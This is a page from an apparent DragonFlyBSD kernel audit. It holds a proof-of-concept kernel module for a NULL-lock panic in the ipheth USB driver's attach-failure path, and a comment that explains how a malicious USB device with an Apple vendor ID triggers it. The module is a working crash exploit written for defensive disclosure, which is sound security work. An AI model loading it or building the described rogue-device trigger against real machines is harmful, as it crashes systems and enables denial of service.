โฌข DragonFlyBSD Kernel Audit
DF-5514 / ipheth_poc.c
โ† back to finding โ†“ download raw
/*
 * DF-5514 PoC harness โ€” if_ipheth.c attach-failure DF-5334-class panic.
 *
 * Target: sys/bus/u4b/net/if_ipheth.c ipheth_attach() error branches:
 *
 *   225:   sc->sc_iface_no = uaa->info.bIfaceIndex;
 *   227:   device_set_usb_desc(dev);
 *   229:   lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE);
 *   231:   error = usbd_set_alt_interface_index(uaa->device,
 *   232:       uaa->info.bIfaceIndex, IPHETH_ALT_INTFNUM);
 *   233:   if (error) {
 *   234:       device_printf(dev, "Cannot set alternate setting\n");
 *   235:       goto detach;                          <-- branch 1
 *   236:   }
 *   237:   error = usbd_transfer_setup(uaa->device, &sc->sc_iface_no,
 *   238:       sc->sc_xfer, ipheth_config, IPHETH_N_TRANSFER, sc, &sc->sc_lock);
 *   239:   if (error) {
 *   240:       device_printf(dev, "Cannot setup USB transfers\n");
 *   241:       goto detach;                          <-- branch 2
 *   242:   }
 *   243:   ue->ue_sc = sc;
 *   244:   ue->ue_dev = dev;
 *   245:   ue->ue_udev = uaa->device;
 *   246:   ue->ue_lock = &sc->sc_lock;
 *   247:   ue->ue_methods = &ipheth_ue_methods;
 *   249:   error = ipheth_get_mac_addr(sc);
 *   250:   if (error) {
 *   251:       device_printf(dev, "Cannot get MAC address\n");
 *   252:       goto detach;                          <-- branch 3
 *   253:   }
 *   255:   error = uether_ifattach(ue);
 *   256:   if (error) {
 *   257:       device_printf(dev, "could not attach interface\n");
 *   258:       goto detach;                          <-- branch 4
 *   259:   }
 *   260:   return (0);   [success]
 *
 *   262: detach:
 *   263:   ipheth_detach(dev);
 *   264:   return (ENXIO);   [failure]
 *
 * ipheth_detach() (if_ipheth.c:267-281) then runs, in order:
 *
 *   274:   usbd_transfer_unsetup(sc->sc_xfer, IPHETH_N_TRANSFER);
 *   276:   uether_ifdetach(ue);
 *
 * On branches 1-2 the usb_ether embedded at sc->sc_ue is still ENTIRELY
 * ZEROED (ue_sc/ue_dev/ue_udev/ue_lock/ue_methods are assigned only at
 * if_ipheth.c:243-247, AFTER the failing calls; the newbus softc is
 * allocated M_ZERO).  uether_ifdetach()
 * (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        <- no-op, up_lock == NULL
 *   276:   ifp = uether_getifp(ue);           <- embedded arpcom ifnet, NEVER NULL
 *   278:   if (ifp != NULL) {                 <- dead guard, always true
 *   281:       UE_LOCK(ue);                   <- lockmgr(NULL, LK_EXCLUSIVE)
 *                                              ==> Fatal trap 12, fault VA 0x0
 *
 * On branches 3-4 (ue_lock already set, uether_ifattach() never ran or
 * self-freed its ue_tq via usb_proc_create()'s error path) the same call
 * instead reaches ether_ifdetach() on the embedded ifnet that was never
 * if_attach()ed โ€” the DF-2341/DF-5493 latent-corruption path.
 *
 * The trigger is fully device-controlled: ipheth_devs[] is a
 * product-agnostic match (if_ipheth.c:174-177) โ€” ANY USB device with
 * vendor ID 0x05ac (Apple) exposing an interface with class 0xff /
 * subclass 0xfd / protocol 1 probes and attaches ipheth(4).  The device
 * firmware then only has to STALL the SET_INTERFACE(alt 1) control
 * request (branch 1), omit the bulk endpoints (branch 2), or STALL the
 * 0x40 GET_MACADDR vendor request (branch 3) โ€” an evil-USB-adapter /
 * evil-dock / VM-attach scenario, no iPhone needed.
 *
 * This KLD replays ipheth_detach() verbatim on that exact branch-1 state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * ipheth_attach()/ipheth_detach() plumbing itself (they are static in
 * if_ipheth.c, unreachable without a physical Apple device; the failure
 * branch reaches them through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_iphethvar.h>

static int
ipheth_poc_modevent(module_t mod, int type, void *arg)
{
	struct ipheth_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("ipheth_poc: constructing post-'Cannot set alternate "
		    "setting' state (if_ipheth.c:231-236)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_ipheth.c:225 + :229: the only softc fields initialised
		 * before the failing usbd_set_alt_interface_index() at
		 * if_ipheth.c:231 */
		sc->sc_iface_no = 0;
		lockinit(&sc->sc_lock, "ipheth_poc", 0, LK_CANRECURSE);
		kprintf("ipheth_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("ipheth_poc: entering ipheth_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_ipheth.c:274+276)\n");

		/* if_ipheth.c:274 โ€” production code, zeroed xfer array ==
		 * branch-1 state (usbd_transfer_setup never ran) */
		usbd_transfer_unsetup(sc->sc_xfer, IPHETH_N_TRANSFER);

		/* if_ipheth.c:276 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("ipheth_poc: SURVIVED uether_ifdetach() (UNEXPECTED โ€” "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t ipheth_poc_mod = { "ipheth_poc", ipheth_poc_modevent, NULL };
DECLARE_MODULE(ipheth_poc, ipheth_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(ipheth_poc, uether, 1, 1, 1);